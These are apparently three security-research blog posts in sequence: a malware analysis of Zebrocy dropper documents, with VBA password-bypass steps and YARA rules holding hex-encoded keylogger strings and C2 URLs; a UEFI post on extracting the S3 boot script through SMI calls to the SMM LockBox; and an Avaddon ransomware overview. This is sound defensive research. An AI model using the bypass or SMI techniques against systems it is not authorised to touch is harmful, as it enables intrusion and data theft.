Bypassing VBA Macro Password Protection

When analyzing Office documents with VBA macros, threat hunters have many different tools and techniques that do the job, but I’ve built a habit that I still use when I first started reversing malware to bypass password-protected macros manually.

  1. Open up your favorite hex editor. I use HxD.
  2. Load the Word Document.
  3. Search for the following text:
    1. CMG=
    2. GC=
    3. DPB=
  4. Add an x to each of them:
    1. CMGx=
    2. GCx=
    3. DPBx=
  5. Save the file with the changes.

When opening the Word document and viewing the macro this time, you can see the script as well as the Forms. When analyzing the function, what immediately sticks out is the ert.DataType = “bin.base64”, showing that the UserForm1 is encoded with base64.

Wininition UserForm

When selecting on UserForm1, the textbox reveals a base64 encoded string; we know this because of the function we discussed above. The next step is to copy the entire string into a file so it can be decoded.

Now we decode the binary from base64 and save it to disk as wininition.exe.

Following that, clean the headers using HxD, and then use PE-Bear to fix the sections headers to move to the next phase of the analysis.

When triaging a binary, the go-to tool is Hiew to investigate and look for clues for a deeper understanding. With wininition, I notice the Embarcadero string, which means that this binary was written in Delphi. When reversing Delphi binaries I’ve always used IDR (Interactive Delphi Reconstructor). IDR is a decompiler of executable files and dynamic libraries (DLL) written in Delphi.

Reversing Delphi Binaries with Ghidra and dhrake

When searching for the latest developments with IDR, I came across a fantastic plugin for Ghidra, a collection of scripts for reverse engineering Delphi binaires in Ghidra using IDR’s output to IDC. It was published over a year ago, but it is a gem if threat hunters are using Ghidra.

dhrake allows you to import the IDC file from IDR into Ghidra. This will import the Symbol names, function signatures and create structs for Delphi classes. This plugin extracts and applies the Delphi symbols from the IDC file, which is generated by IDR, and attempts to find cases where Ghidra has incorrectly determined the entry point of a function. If you’ve never imported a plugin to Ghidra please read this post. I’ve saved the IDC to a selected folder. I then install the plugin in Ghidra and run the script it prompts for the IDC file and then load it!

In the wininition binary, the first function WinMain has SetWindowsHookExW function, which is a hook procedure to monitor a system for certain types of events. The hook procedures low-level keyboard input events is WH_KEYBOARD_LL, which is the number 13 in the parameter. This hook is a mechanism that intercepts keystroke events. All the events are then saved to a log file to be sent to a C2.

The C2 is obfuscated using hex that can be converted to ascii:



Note: These appear to be compromised domains.


Analysis of these documents led us to find other Zebrocy clusters. As Zebrocy continues to evolve its scope, organizations must have the proper visibilities and detection capabilities to find this threat actor. We hope the techniques discussed in this post will be useful to other researchers in analyzing Delphocy dropper docs in particular, and documents with password-protected macros in general.

Indicators of Compromise

Word Documents








Yara Rules

rule apt_RU_delphocy_encStrings {
    desc = "Hex strings in Delphocy drops"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash0 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b"
    hash1 = "07b2d21f4ef077ccf16935e44864b96fa039f2e88c73b518930b6048f6baad74"

    $enc_keylogger2 = "5B4241434B53504143455D" ascii wide
    $enc_keylogger3 = "5B5441425D" ascii wide
    $enc_keylogger4 = "5B53484946545D" ascii wide
    $enc_keylogger5 = "5B434F4E54524F4C5D" ascii wide
    $enc_keylogger6 = "5B4553434150455D" ascii wide
    $enc_keylogger7 = "5B454E445D" ascii wide
    $enc_keylogger8 = "5B484F4D455D" ascii wide
    $enc_keylogger9 = "5B4C4546545D" ascii wide
    $enc_keylogger10 = "5B55505D" ascii wide
    $enc_keylogger11 = "5B52494748545D" ascii wide
    $enc_keylogger12 = "5B444F574E5D" ascii wide
    $enc_keylogger13 = "5B434150534C4F434B5D" ascii wide
    $cnc1 = "68747470733A2F2F7777772E786268702E636F6D2F646F6D696E61726772656174617369616E6F6479737365792F77702D636F6E74656E742F706C7567696E732F616B69736D65742F7374796C652E706870" ascii wide
    $cnc2 = "68747470733A2F2F7777772E63346373612E6F72672F696E636C756465732F736F75726365732F66656C696D732E706870" ascii wide

    uint16(0) == 0x5a4d and (any of ($cnc*) or all of ($enc_keylogger*))
rule apt_RU_Delphocy_Maldocs {
    desc = "Delphocy dropper docs"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash1 = "3b548a851fb889d3cc84243eb8ce9cbf8a857c7d725a24408934c0d8342d5811"
    hash2 = "c213b60a63da80f960e7a7344f478eb1b72cee89fd0145361a088478c51b2c0e"
    hash3 = "d9e7325f266eda94bfa8b8938de7b7957734041a055b49b94af0627bd119c51c"
    hash4 = "1e8261104cbe4e09c19af7910f83e9545fd435483f24f60ec70c3186b98603cc"

    $required1 = "_VBA_PROJECT" ascii wide
    $required2 = "Normal.dotm" ascii wide
    $required3 = "bin.base64" ascii wide
    $required4 = "ADODB.Stream$" ascii wide
    $author1 = "Dinara Tanmurzina" ascii wide
    $author2 = "Hewlett-Packard Company" ascii wide
    $specific = "Caption         =   \"\\wininition.exe\"" ascii wide
    $builder1 = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1" ascii wide
    $builder2 = "{02330CFE-305D-431C-93AC-29735EB37575}{33D6B9D9-9757-485A-89F4-4F27E5959B10}" ascii wide
    $builder3 = "VersionCompatible32=\"393222000\"" ascii wide
    $builder4 = "CMG=\"1517B95BC9F7CDF7CDF3D1F3D1\"" ascii wide
    $builder5 = "DPB=\"ADAF01C301461E461EB9E2471E616F01D06093C59A7C4D30F64A51BDEDDA98EC1590C9B191FF\"" ascii wide
    $builder6 = "GC=\"4547E96B19021A021A02\"" ascii wide

    uint32(0) == 0xE011CFD0 and all of ($required*) and (all of ($author*) or $specific or 5 of ($builder*))

The post A Deep Dive into Zebrocy’s Dropper Docs appeared first on SentinelLabs.

Adventures From UEFI Land: the Hunt For the S3 Boot Script

8 April 2021 at 16:10

By Assaf Carlsbad & Itai Liba

Hello and welcome back to the 4th part of our blog posts series covering various aspects of UEFI internals and exploitation. In the last three posts, we mostly covered the necessary background information to help us bootstrap our journey into UEFI land. We culminated by developing our own coverage-guided fuzzer on top of the Qiling emulation framework and AFL++ that can be used to fuzz the contents of NVRAM variables.

During the course of these three blog posts, our interaction with UEFI code was mostly mediated through software emulation (backed by the amazing Qiling engine). While very accessible and cost-effective, this blog post will explore firmware code via a slightly different approach. As such, most of our interactions will be with a live, physical system. The main motivation for this paradigm shift came from a somewhat innocent attempt to run a CHIPSEC module which goes by the name common.uefi.s3bootscript:

Figure 1 – First attempt to recover and parse the S3 boot script.

The common.uefi.s3bootscript module is in charge of locating, parsing and validating a piece of memory commonly referred to as the “S3 boot script”. In a nutshell, the S3 boot script is a data structure that lists the actions the firmware must take in order to correctly recover from the S3 sleep state. Unfortunately, at least on our own testing machine, (Lenovo ThinkPad T490) this CHIPSEC module consistently failed with a somewhat cryptic error message: “S3 Boot-Script was not found. Firmware may be using other ways to store/locate it”.

For the average security researcher, such phrasing immediately raises a series of follow-up questions, such as:

  • How exactly does CHIPSEC try to locate the boot script?
  • What are the “other ways” the firmware might be using to store it?
  • Can we find some alternative methods to extract and parse the boot script?

Like most other things in life, the motivation for answering these questions is threefold:

  • Visibility: Normally, we tend to think of the firmware as an obscure, big blackbox that provides very limited visibility to what is actually happening under the hood. Knowing exactly what the firmware is doing to recover from S3 sleep state can definitely shed some light on the subject and help us reveal the underlying implementation of some low-level components and interfaces.
  • Vulnerability hunting: Historically, naive or just plain bad implementations of the S3 boot script were subject to a myriad of attacks. Because the system is not yet fully configured by the time the boot script executes, hijacking control flow at this point in time allows attackers to disable or completely bypass certain security features offered by the platform. By knowing how to locate, extract and parse the boot script we can validate its integrity and assess its resilience against these kinds of attacks.
  • Fun: Last but not least, this can be a very interesting challenge on its own which also puts into test a lot of the knowledge that we gathered around UEFI in particular and firmware security in general.

The S3 Boot Script

Before moving on to explore some actual techniques for dumping the boot script, it’s important to take some time to understand the rationale behind it. The S3 sleep state was introduced by the ACPI standard for power management, alongside some additional low-power states labeled S1, S2 and S4. Lets go over them briefly:

  • S1 is the Standby state. This is a low-wake latency state, where no CPU or chipset context is lost.
  • S2 is currently not supported by ACPI.
  • S3 is the suspend-to-RAM state. It is similar to the S1 sleep state except that the CPU is turned off and some chips on the motherboard might be off as well. Power to main system memory, on the other hand, is retained. After the wake event, control starts from the processor’s reset vector.
  • S4 is the suspend-to-Disk state (hibernation). It is the lowest power, longest wake latency sleeping state supported by ACPI. It is usually implemented by writing an image of memory into a hibernation file before powering down. Upon resumption, the system restores its context from the saved hibernation file on disk.
Figure 2 – State diagram of the different power states defined by ACPI. All sleep states described above are grouped under the “G1 – Sleeping” cluster.

As has already been mentioned, UEFI breaks the boot process into multiple distinct phases, each with its own responsibilities and limitations. During a normal boot, the PEI phase is responsible for initializing just enough of the platform’s resources to enable the execution of the DXE phase, which is where the majority of platform configuration is performed by different DXE drivers.

Figure 3 – The PEI phase precedes the DXE phase during normal boot and enables its execution.

However, to speed up booting from S3 sleep UEFI provides a mechanism called a “boot script” that lets the S3 resume path avoid the DXE, BDS and TSL phases altogether. The boot script is created during normal boot with the intention of being consumed by the S3 resume path:

  • During a normal boot, DXE drivers record the platform’s configuration in the boot script, which is saved in NVS. The boot script is comprised out of a series of high-level “opcodes” which are to be interpreted by a boot script execution engine. These “opcodes” include reading from and writing to I/O ports, PCI devices, main memory, etc. For the complete list of supported opcodes, please refer to PiS3BootScript.h.
Figure 4 – A decoded boot script entry that writes to a PCI device (source)
  • Upon resuming from S3 a boot script engine executes the script, thereby restoring device configurations that were lost during sleep. Schematically, the relationship between the PEI phase, DXE phase and the S3 boot script can be depicted as follows:
Figure 5 – Relationship between the normal boot path, the S3 resume path and the boot script (source).

For a more thorough discussion of the S3 boot script and its role in restoring the platform’s configuration, please refer to this document.

Digging Deeper

Now that we know what the S3 boot script is all about, let’s try to get a clearer picture of what went wrong with CHIPSEC.

To do so, we’ll run a command to dump it again, this time with the --hal and -v command-line switches for augmented verbosity:

Figure 6 – Running with some extra verbosity flags reveals the root cause of the problem.

From the output of the command we can clearly see that in order to get the contents of the boot script, CHIPSEC first tries to search for an EFI variable named AcpiGlobalVariable.

The exact definition of the structure that backs up this variable can be found in AcpiVariableCompatibility.h taken from the ModernFW repository:

Figure 7 – The definition of ACPI_VARIABLE_SET_COMPATIBILITY

Taking padding into account, offset 0x18 of the structure contains the AcpiBootScriptTable member which holds the physical address of the boot script in memory. Now that we know for sure the pointer to the boot script is encapsulated inside AcpiGlobalVariable, let’s try to figure out why CHIPSEC failed to find it. To do so, we’ll run the chipec_util uefi var-find command that lets us query and probe for the presence of EFI variables:

Figure 8 – Probing for AcpiGlobalVariable

Unfortunately, it seems that for some reason CHIPSEC failed to find or query this variable altogether. After digging through some old EDK2 commits, we eventually managed to pinpoint the reason for this in a commit dating back to 2014 that removed the runtime attribute from AcpiGlobalVariable. As was mentioned in the previous blog posts, variables that don’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute cannot be queried from the operating system and are only accessible for the duration of the boot process (i.e., before the boot loader calls ExitBootServices).

Now that we understand the root cause of the problem, the question is whether we can come up with some clever tricks to extract the boot script in spite of the fact that the variable that contains it is inaccessible to us. It turns out that not only is the answer to this question positive but also that we have at least two distinct ways at our disposal to do so.

Method #1: Reading AcpiGlobalVariable From an Offline Dump

By now we know that AcpiGlobalVariable doesn’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute, and therefore it can’t be enumerated from the OS. Alas, these restrictions only apply to a live, running system. In other words, as long as this variable exists physically on the SPI flash there is nothing to prevent us from reading it using an offline dump of the firmware.

Given that premise, we can devise the following “algorithm” for reading the S3 boot script:

  • Dump the UEFI firmware to a file (can be done simply by running python spi dump rom.bin, and see part 1 for more details).
  • Open rom.bin in UEFITool and search for AcpiGlobalVariable. Use the ‘Body hex view’ option to read the contents of this variable and interpret the data as a little-endian pointer. This pointer should hold the physical address of the ACPI_VARIABLE_SET_COMPATIBILITY structure in memory.
Figure 9 – Reading AcpiGlobalVariable from an offline dump.
  • Feed this address into a physical memory viewer such as RW-Everything, and read the QWORD value at offset 0x18 (corresponding to the AcpiBootScriptTable member)
Figure 10 – Reading ACPI_VARIABLE_SET_COMPATIBILITY from physical memory.
  • Now, cross your fingers and pass this address as an additional argument (-a) to CHIPSEC. If all goes well, CHIPSEC should now be able to parse the boot script and scan it for any potential vulnerabilities.
Figure 11 – Manually feeding CHIPSEC the address of the boot script.

After we uncovered the boot script in physical memory this way, we tried modifying it for the sake of disabling certain security measures. However, after completing a full sleep-resume cycle, the contents of the script were “magically” restored. This strongly suggested that the pointer we obtained only points to a copy of the boot script, while the source is saved someplace else. Cr4sh probably encountered this phenomenon back in 2016, which is why he writes:

Figure 12 – The original copy of the S3 boot script is stored inside a SMM LockBox.

Now, all we have to do is understand what an SMM LockBox is and how we can extract the boot script out of it.

Method #2: Extracting the Boot Script From an SMM LockBox

As mentioned earlier, the S3 boot script is in charge of restoring the platform’s configuration to its pre-sleep state. This usually includes re-enabling and locking various security settings which were lost during sleep. Because of its sensitive and privileged nature, the boot script itself must be kept in a memory region which is guarded against malicious attempts to modify it. The main problem is that the threat vector includes not only attackers with user-mode permissions but also local attackers with kernel-mode privileges. Given that kernel-level code has full access to physical memory, how can the firmware store the boot script such that it will be tamper proof?

A Whirlwind Tour of SMM

Enter SMM. SMM, or System Management Mode, is one of the operating modes found in every Intel-compatible CPU and dates back to the old i386 days. Historically, SMM was intended to provide firmware developers with an isolated execution space where they can implement support for features such as APM (Advanced Power Management), Plug-and-Play and so on. Over the years, OEMs started shifting more and more of their proprietary code base into SMM, and the end result is that a typical firmware image usually contains a magnitude of dozens of different modules that all operate in this mode.

Figure 13 – A typical firmware image usually contains dozens of different SMM modules.

Schematically, the relationship between SMM and the other, more familiar operating modes of the CPU is usually depicted in the Intel manuals as follows:

Figure 14 – SMM and its relationships with the other operating modes of Intel CPUs.

From the figure above, some important facts about SMM can be deduced:

  • The processor transitions from its current operation mode to SMM in response to a System Management Interrupt, or SMI for short. The exact nature of these SMIs will be discussed in the next section.
  • Transition to SMM can happen from every CPU mode and is completely transparent to the operating system. That means that when an SMI is triggered, the operating system’s kernel is preempted and control is passed to a dedicated routine called the SMI handler.
  • After the SMI handler finishes servicing the interrupt, it can make the processor exit SMM and return to its previous state by executing the rsm instruction.

System Management Interrupts

A typical computer contains a plethora of different devices that are capable of generating an SMI. Still, from the perspective of any security-oriented research, the most important SMI source is the software-generated SMI. This type of SMI can be triggered synchronously by software, given it is running with ring 0 (kernel) privileges. To generate a software SMI, we take advantage of the APM chip found on virtually every Intel-compatible computer.

The software interface to the APMC consists of two I/O ports: 0xB2 and 0xB3.

  • Port 0xB3 is usually referred to as a status port, even though this description might be a bit misleading. In practice, it is used as a scratchpad register that can be written freely by software.
  • Port 0xB2, on the other hand, is the code port. Writing a single byte to this port using the outb instruction causes the APM chip to assert the SMI# pin of the processor.
Figure 15 – Under ‘Device Manager’, the APMC usually appears just as a generic ‘Motherboard resources’ device.

A common pattern to generate a software SMI using these two I/O ports is as follows: first, pass any arguments to the SMI handler by writing them to port 0xB3. Afterwards, write port 0xB2 to actually trigger an SMI. In case the firmware offers several different SMI handlers, the exact byte value written to port 0xB2 can be used to select the particular handler to invoke. This idea is demonstrated clearly in the ThinkPwn exploit by Cr4sh:

Figure 16 – Code to generate a software-based SMI.

Communicating with SMI Handlers

To facilitate easy, flexible and secure communication with SMI handlers, most UEFI implementations offer the EFI_SMM_COMMUNICATION_PROTOCOL. The main workhorse of this protocol is the Communicate() method, which basically acts as the kernel-to-SMM equivalent of a system call; being capable of invoking SMI handlers from a non-SMM context, as well as passing buffers and status codes back and forth between the two modes. In EDK2 and other firmwares built on top of it, this protocol is implemented by the SmmCommunicationCommunicate() function taken from PiSmmIpl.c:

Figure 17 – Code for SmmCommunicationCommunicate (error checks omitted for brevity)

Essentially, this routine takes care of two things:

  • First (1), it places the user-supplied buffer and size arguments into well-known locations inside the gSmmCorePrivate structure. Doing so allows the “server” side of the protocol (in SMM) to quickly find the arguments that should be passed to the SMI handler.
  • Second (2), it uses the Trigger() method of EFI_SMM_CONTROL2_PROTOCOL to generate a software SMI.

Under the hood, Trigger() does little more than writing to the two I/O ports of the APMC like we previously described:

Figure 18 – EDK2 code to trigger a SW SMI.

To distinguish between different SMI handlers, clients of the communication protocol are expected to prefix all actual data with an EFI_SMM_COMMUNICATE_HEADER structure. This structure begins with a HeaderGuid member which allows the “server” side of the protocol (in SMM) to disambiguate the message and uniquely identify the particular handler the client wishes to invoke.

Figure 19 – Header for SMM communication buffer.

Communicating with SMI handlers directly from the OS is a bit trickier but not impossible. The main hurdle is that SMM_COMMUNICATION_PROTOCOL is only available during boot time, so if we’re running code on top of an OS we have no choice but to replicate all its operations manually. The procedure for that is comprised out of the following steps:

  1. Find the GUID for the SMI handler we wish to invoke.
  2. Serialize all the arguments for this SMI as a binary buffer and prefix them with a EFI_SMM_COMMUNICATE_HEADER structure.
  3. Find the gSmmCorePrivateData structure in memory. This can be done by simply scanning physical memory pages for the smmc magic signature.
  4. Write the serialized arguments buffer to gSmmCorePrivate->CommunicationBuffer and its corresponding size to gSmmCorePrivate->BufferSize.
  5. Trigger an SMI using the APMC.

Luckily for us, we don’t have to perform all these tedious and error prone steps by hand as CHIPSEC already did most of the heavy lifting for us. The CHIPSEC command to trigger Communicate()-based SMIs goes as follows: smi smmc <RT_code_start> <RT_code_end> <GUID> <payload_loc> <payload_file> [port]


  • <RT_code_start> <RT_code_end>: Physical address range where firmware runtime code lives. This range will be used to limit the search for the gSmmCorePrivate structure. To get this address range, boot into the UEFI shell and run the memmap command. Then, search the output for regions that are marked as RT_code and write them down.
Figure 20 – Searching for runtime code memory through the memmap command (source).
  • <GUID>: Uniquely identifying the SMI handler.
  • <payload_loc>: Address in physical memory which will hold the buffer to be conveyed to SMRAM. To avoid clashing with memory regions that are already in use, we suggest using an unused (zeroed) page taken from the RT_data region.
  • <payload_file>: A binary file containing the serialized arguments for the SMI handler.
  • <port>: Byte value that will be written to port 0xB2 when triggering the SMI. Note that by default EDK2 generates SMIs with I/O ports 0xB2 and 0xB3 both equal to zero, but this is not mandatory and in practice the firmware might choose some other value. For example, on our T490 laptop the firmware uses a value of 0xFF by default:
Figure 21 – Actual implementation for Trigger() uses a port value of 0xFF by default.


SMM code runs from a special region of physical memory called System Management RAM, or SMRAM for short. The Intel architecture coerces SMRAM to contain at least the following:

  • SMI entry point: Upon entering SMM, the CPU is put back into 16-bit execution mode with paging disabled. The SMI entry point is in charge of switching the processor back to long mode and re-enabling paging. Afterwards, it can call any handler registered by the firmware to actually handle the event.
  • SMM State Save Area: Like any other kind of interrupt, before executing the SMI handler the CPU must save its current execution so that it can be restored later on. For this purpose, SMM has a 64-KB state save area spanning addresses [SMBASE + 8000H + 7E00H] to [SMBASE + 8000H + 7FFFH]. The registers contained in the state save area are saved automatically by the CPU upon entering SMM, and are restored as part of processing the rsm instruction.
    Figure 22 – Schematic representation of SMRAM.
  • SMM code and data: The other portions of SMRAM contain the code and data that make up the various SMM modules stored in the firmware image. Besides that, additional memory is reserved to provide runtime support structures such as a call stack, a heap for dynamically allocated memory, etc.

On modern platforms, SMRAM can be found in one of several memory regions:

  • CSEG: The compatibility SMRAM segment, which spans physical addresses 0xA0000-0xBFFFF. At first glance, it seems like this address range overlaps with the MMIO range of the legacy video buffer. In the next paragraph we’ll see exactly how the memory controller handles this discrepancy.
    Figure 23 – The address range for CSEG overlaps with that of the legacy video buffer.

    To check if CSEG is enabled on your own machine, simply run the -m common.smm command and take a look at the G_SMRAME bit:

    Figure 24 – Testing whether CSEG is enabled (G_SMRAME == 1).
  • HSEG: The high SMRAM segment was introduced to let the CPU access CSEG by remapping a much higher address range: 0xFEDA0000-0xFEDBFFFF. This segment is no longer supported by modern (PCH-based) chipsets and therefore we’ll mostly ignore it.
  • TSEG: The top of main memory is the de facto standard region of SMRAM memory. To test whether or not your machine supports TSEG simply run the common.smm_dma CHIPSEC module:
    Figure 25 – Retrieving the address range for TSEG.

Each of the different SMRAM segments provides its own configuration registers for closing and locking the respective region. Once closed and locked, only attempts to access SMRAM while the CPU already executes in SMM will be forwarded to the memory controller. All other attempts to access SMRAM from a non-SMM context will be remapped by the chipset or simply discarded.

Figure 26 – Once closed, attempts to access CSEG from a non-SMM context will go to the legacy video buffer.

Because this unique access pattern is enforced by the hardware, SMRAM is an ideal place to store secrets and other confidential data which must remain protected even in the face of kernel-level attacks. To facilitate saving data into and restoring data out of SMRAM in a generic manner, modern UEFI implementations expose a special protocol called SMM LockBox.

SMM Lock Box Protocol

Essentially, SMM lock box is a boot-time protocol that lets clients save data into and restore data out of SMRAM in a generic and well-defined way. It supports 5 basic types of operations:

In EDK2 and its derived implementations, we can clearly see that SMM lock boxes are used extensively by BootScriptSave.c to seal the S3 boot script once it’s ready. Given that the boot script is saved to SMRAM by LockBoxSave, what prevents us from revealing it by calling the inverse function RestoreLockBox?

Figure 27 – The S3 boot script is saved to a SMM lock box.

Extracting the S3 Boot Script

To recap so far: our objective is to invoke RestoreLockBox with the GUID identifying the S3 boot script. Obviously, any implementation of an SMM lock box must include at least two components:

  • A “server” side, implemented in SMM and reachable via an SMI.
  • A “client” side, which takes care of serializing the arguments for the call into the communication buffer and then actually triggering the SMI.

Our main problem is that we’re running from a live operating system and thus we can’t link against the library which implements the client side of the lock box protocol. As a fallback, our best shot would be to peek into the implementation of the client-side of RestoreLockBox and hope we could mimic it using primitives which are already at our disposal. In EDK2, the client-side of the LockBox protocol is implemented in SmmLockBoxDxeLib.c. The code for RestoreLockBox goes as follows (error checks omitted):

Figure 28 – Client side of RestoreLockBox.

Logically, this code can be divided into three steps:

  1. First, the communication buffer for the SMI is retrieved. Recall that SMM_COMMUNICATION_PROTOCOL demands every message to be prefixed with an EFI_SMM_COMMUNICATE_HEADER structure, and so the code sets HeaderGuid to gEfiSmmLockBoxCommunicationGuid (2a3cfebd-27e8-4d0a-8b79-d688c2a3e1c0) and MessageLength to the size of the EFI_SMM_LOCK_BOX_PARAMETER_RESTORE structure that immediately follows the header.
  2. In step 2, the memory beyond the header is interpreted as EFI_SMM_LOCK_BOX_PARAMETER_RESTORE and then initialized as follows:
    1. Header.Command is set to 3 (EFI_SMM_LOCK_BOX_COMMAND_RESTORE)
    2. Header.DataLength is initialized to the size of the parameters structure.
    3. Guid is initialized to uniquely identify the lock box we wish to restore. In the case of the S3 boot script, it should be set to {AEA6B965-DCF5-4311-B4B8-0F12464494D2}.
    4. Buffer is set to the physical address where the contents of the lock box will be restored. From our experiments, this address must fall within the boundaries of a region that has the EFI_MEMORY_RUNTIME attribute set, otherwise the system will freeze!
    5. Length is set to indicate the number of bytes we wish to read from the lock box.
  3. Lastly, in step 3 a SW SMI is triggered by and the entire communication buffer is conveyed to SMRAM, where the server-side of EFI_SMM_LOCK_BOX_PROTOCOL will inspect it and dispatch it to the appropriate handler function.

Putting it all together, we could generate the same SMI with CHIPSEC as follows:

  1. Boot into the UEFI shell and examine the output of the memmap command. Write down the regions that have the EFI_MEMORY_RUNTIME attribute set (either RT_Code or RT_Data).
    Figure 29 – Searching for runtime memory regions in the output of the memmap command.
  2. Pick up one of the pages in the RT_Data section and designate it to hold the communication buffer. Before proceeding to the next step, make sure to use RW-Everything to verify the memory is zero initialized (as an indication it’s not currently in use).
    Figure 30 – Use RW-Everything to verify the physical page is not in use.
  3. Craft a binary file with the arguments for the restore operation and save it with an appropriate name, say s3_restore.bin. The file should look something like this:
    Figure 31 – The file containing the serialized arguments for the restore operation.

    Two things to notice about this file:

    1. The address for the restore operation is at offset 0x30 from the start of the physical page. The number 0x30 was not chosen arbitrarily, but rather it is the size of the communication buffer itself. If all goes well, the end result would be that the boot script contents will immediately follow the communication buffer in memory.
    2. Note that we initially set the number of bytes to restore to 0. Because of that, on output we expect the handler to return a failure code and overwrite this portion of the communication buffer with the actual number of bytes the boot script spans.
  4. Send an SMI to the lock box handler and observe the number of bytes required to complete the operation successfully. By examining the output buffer, we can see (in red) that the operation completed with EFI_BUFFER_TOO_SMALL (0x8000000000000005) and that the required buffer size (in orange) is 0x4000 bytes:
    Figure 32 – Probing for the actual size of the boot script.
  5. Modify the file holding the communication buffer to reflect the newly probed size:
    Figure 33 – The communication buffer is modified to reflect the actual size of the boot script.
  6. Now issue the same SMI again. This time we’re expecting EFI_SUCCESS to be returned as the status code (highlighted in red below):
    Figure 34 – The RestoreLockBox SMI returns EFI_SUCCESS.
  7. View the target address using RW-Everything:
    Figure 35 – Memory view after the successful call to RestoreLockBox.
    The memory block at offset 0x30 now begins with 0xAA, which is a pretty good indication that the structure we’re looking at is actually a valid boot script:
    Figure 36 – The start of the boot script table.
  8. Now that we have the boot script readily available, we can further analyze it to find potential misconfigurations, vulnerabilities or any other kind of firmware peculiarities. Enjoy!
Figure 37 – Decoding the boot script using the uefi s3bootscript command.


Even though initially it seemed like we bumped into a rock-solid wall, we eventually managed to find our way around the problem and extract the S3 boot script. Along the way, we also covered some important aspects related to SMM. As it turns out, throughout the years SMM has proved to be a very fruitful attack surface for firmware researchers. As such, our next posts in the series will keep exploring this direction, and hopefully we’ll be able to share with you some actual SMM vulnerabilities that we found ourselves. Until then stay safe, take care and keep on learning.

Other Posts in Our UEFI Series

Part 1: Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware
Part 2: Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware
Part 3: Moving From Dynamic Emulation of UEFI Modules To Coverage-Guided Fuzzing of UEFI Firmware

Further Reading×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMRAM.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM%20and%20Caching.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20Other%20Fun%20with%20SMM.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM%20Conclusion.pdf

The post Adventures From UEFI Land: the Hunt For the S3 Boot Script appeared first on SentinelLabs.

Avaddon RaaS | Breaks Public Decryptor, Continues On Rampage

1 April 2021 at 16:00

The Avaddon ransomware family was first sighted in the wild in February 2020, but fully emerged as a robust Ransomware-as-a-Service (RaaS) model in June of that year. Over the last 9 months or so, the operator behind Avaddon has been successful in building a strong and reliable brand, moving quickly to support affiliates with an update after security researchers released a public decryptor in February 2021. Since then, we have observed a spike in Avaddon activity and note that the actor is actively engaged in developing “Version 2” of this aggressive RaaS offering.

In this post, we detail the rapid development of Avaddon, highlighting the malware author’s ability to adapt to circumstances and maximize payouts for Avaddon affiliates.

Avaddon RaaS Overview

After initial sightings in attacks from February 2020 onwards, Avaddon fully emerged as a RaaS in June of 2020. It was heavily promoted in underground markets as a fast, bespoke, highly-configurable, and well-supported ransomware service.

The Avaddon operator offered partners fairly standard terms with the RaaS taking an initial 25% cut but willing to drop that percentage for higher volume affiliates. Over the following months, Avaddon became one of the more aggressive ransomware groups targeting both individuals and businesses. Following the model of other RaaS families that came before it, Avaddon soon put up a blog site dedicated to leaking victim data should victims fail to pay the ransom demand.

Since its inception, Avaddon refused to accept affiliates targeting CIS (Commonwealth of Independant States) countries. This is in addition to being critical of any dealings with non-Russian-native speaking individuals.

Right out of the gate, Avaddon touted their speed, configurability, and robust feature set. The first version of Avaddon was advertised with the following features:

  • Unique payloads written in C++
  • File encryption via AES256 + RSA2048, supporting full-file encryption & custom parameters
  • Full offline support, initial contact to C2 not required
  • “Impossible” 3rd party decryption
  • Support for Windows 7 and higher
  • Multi-threaded file encryption for max performance
  • Encryption of all local and remote (and accessible) drives
  • IOCP Support for parallel file encryption
  • Persistently encrypts newly written files and newly connected media
  • Ability to spread across network shares (SMB, DFS)
  • Multiple delivery options (script, PowerShell, .EXE payload, .DLL)
  • Payload executes as administrator
  • Encrypts hidden files and volumes
  • Removes trash, Volume Shadow Copies (VSS), and other restore points
  • Termination of processes which inhibit encryption of files
  • Configurable ransom note behavior

Initially, affiliates were able to build and manage their payload via an elegant administration panel hosted via TOR (.onion). The panel allowed for management of specific campaigns, payment types and behaviors, victim tracking and management. It also served as the portal to Avaddon’s technical support resources.

Over the following weeks, Avaddon picked up a great amount of momentum, continued to advertise for recruitments and boasted about their coverage in the press.

In the second half of 2020, Avaddon continued to build its infected base, while also continuing to upgrade the service and payloads.

As AV engines began adding detection rules for Avaddon, the operator responded with frequent updates to ensure the desired level of stealth. In late June 2020, the malware added the option to launch payloads via PowerShell.

In August 2020, some more significant upgrades to the service came in the form of 24/7 support. The actors indicated at the time that 24×7 support for affiliates was now available via chat and ticketing systems.

In addition, Avaddon was one of the early adopters of additional extortion methods to taunt and advertise the breach of non-compliant victims, including the use of targeted advertisements. The authors continued to improve the payloads themselves with better Distributed File System (DFS) support, different encryption mechanisms, and DLL payload support.

New Year 2021 brought further changes to the Avaddon platform. In January, the actor added support for Windows XP and 2003 in the payloads, as well as tweaks to the encryption feature set. Notably, Avaddon was one of the first to add DDoS attacks as yet another intimidation mechanism to their arsenal: If clients failed to comply with the ransom demands, they stood to experience a damaging DDoS attack in addition to their data being leaked to the public, and any tarnishing of their reputation as a result of the breach.

Everything seemed to be going well for the Avaddon RaaS, but then they hit a hurdle.

Avaddon Public Decrypter

In early 2021, a decryption tool for Avaddon was released by Bitdefender. Additionally, an open-source decryptor was also released by researcher Javier Yuste based on his extensive paper detailing the internals of Avaddon.

Under the hood, Avaddon payloads were storing the ‘secret’ session keys for encryption in memory. This allowed analysts and researchers to locate the data and extract the key for analysis and eventual development of the decryption tool. The tool was widely released, and posted to

During this period, we even observed actors behind Babuk ransomware offering technical assistance to the Avaddon actors.

Those behind Avaddon were quick to pivot and move to a different model altogether, nullifying the effect of the decryptor. They also offered affiliates an 80% cut for a full month as compensation.

Following the requisite upgrades to address the encryption issues, Avaddon continued to update their services and toolset, in addition to becoming more aggressive with recruitment. February 2021 also saw the addition of Monero support.

